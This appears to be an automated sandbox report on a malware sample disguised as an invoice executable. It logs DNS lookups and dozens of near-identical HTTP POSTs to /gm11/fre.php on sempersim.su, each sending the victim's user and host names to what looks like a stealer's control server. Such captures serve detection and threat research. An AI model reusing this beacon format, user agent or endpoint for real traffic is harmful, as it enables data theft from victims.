Nov 30, 2022 00:55:53.412369013 CET	8.8.8.8	192.168.2.3	0x9913	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:55.574852943 CET	8.8.8.8	192.168.2.3	0x2074	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:57.463988066 CET	8.8.8.8	192.168.2.3	0x2543	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:58.886452913 CET	8.8.8.8	192.168.2.3	0x92c3	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:55:59.957931995 CET	8.8.8.8	192.168.2.3	0x3488	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false
Nov 30, 2022 00:56:00.977658987 CET	8.8.8.8	192.168.2.3	0x58c4	No error (0)	sempersim.su	95.213.216.202	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sempersim.su

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49699	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:07.324934006 CET	121	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 190 Connection: close
Nov 30, 2022 00:54:07.390280008 CET	121	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: 'ckav.ruhardz051829DESKTOP-716T771k08F9C4E9C79A3B52B3F739430HyCKb
Nov 30, 2022 00:54:08.932713032 CET	122	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:11 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 15 Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49700	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:09.487690926 CET	123	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 190 Connection: close
Nov 30, 2022 00:54:09.545732975 CET	123	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: 'ckav.ruhardz051829DESKTOP-716T771+08F9C4E9C79A3B52B3F739430vRti9
Nov 30, 2022 00:54:11.058943987 CET	123	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:13 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 15 Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49709	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:29.164231062 CET	135	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:29.220927000 CET	135	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:30.691042900 CET	136	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:33 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49710	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:31.910937071 CET	137	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:31.975130081 CET	137	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:33.459515095 CET	137	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:36 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49711	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:33.859061956 CET	138	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:33.916356087 CET	138	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:35.462241888 CET	139	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:38 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49712	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:35.972913027 CET	139	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:36.032005072 CET	140	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:37.552263021 CET	140	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:40 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49713	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:37.979212999 CET	141	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:38.045681953 CET	141	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:39.587399960 CET	141	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:42 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49714	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:39.977727890 CET	142	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:40.042785883 CET	143	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:41.602416039 CET	143	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:44 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49715	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:42.060767889 CET	144	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:42.120702982 CET	144	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:43.541337013 CET	144	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:46 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49716	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:43.829219103 CET	145	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:43.885901928 CET	146	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:45.204539061 CET	146	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:48 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49717	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:45.540558100 CET	147	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:45.597480059 CET	147	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:47.032787085 CET	147	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:49 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49718	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:47.592006922 CET	148	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:47.657054901 CET	148	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:49.052315950 CET	149	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:51 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49701	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:12.581435919 CET	124	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:12.644942999 CET	124	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:14.085145950 CET	125	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:16 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49719	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:49.641508102 CET	149	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:49.705965042 CET	150	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:51.280994892 CET	151	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:53 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49720	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:51.608520985 CET	152	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:51.668618917 CET	152	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:53.259308100 CET	152	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:55 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49721	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:53.572062016 CET	153	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:53.635982037 CET	154	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:54.418787003 CET	154	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:57 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49722	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:54.732178926 CET	155	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:54.789618969 CET	155	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:56.166551113 CET	155	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:54:58 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49723	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:56.463103056 CET	156	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:56.526835918 CET	156	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:57.894669056 CET	157	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:00 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49724	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:58.184483051 CET	157	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:58.242203951 CET	158	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Nov 30, 2022 00:54:59.594971895 CET	158	IN	HTTP/1.0 404 Not Found Date: Tue, 29 Nov 2022 23:55:02 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49725	95.213.216.202	80	C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 00:54:59.930840969 CET	159	OUT	POST /gm11/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: sempersim.su Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B40C7D1C Content-Length: 163 Connection: close
Nov 30, 2022 00:54:59.996385098 CET	159	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 30 00 35 00 31 00 38 00 32 00 39 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz051829DESKTOP-716T77108F9C4E9C79A3B52B3F739430
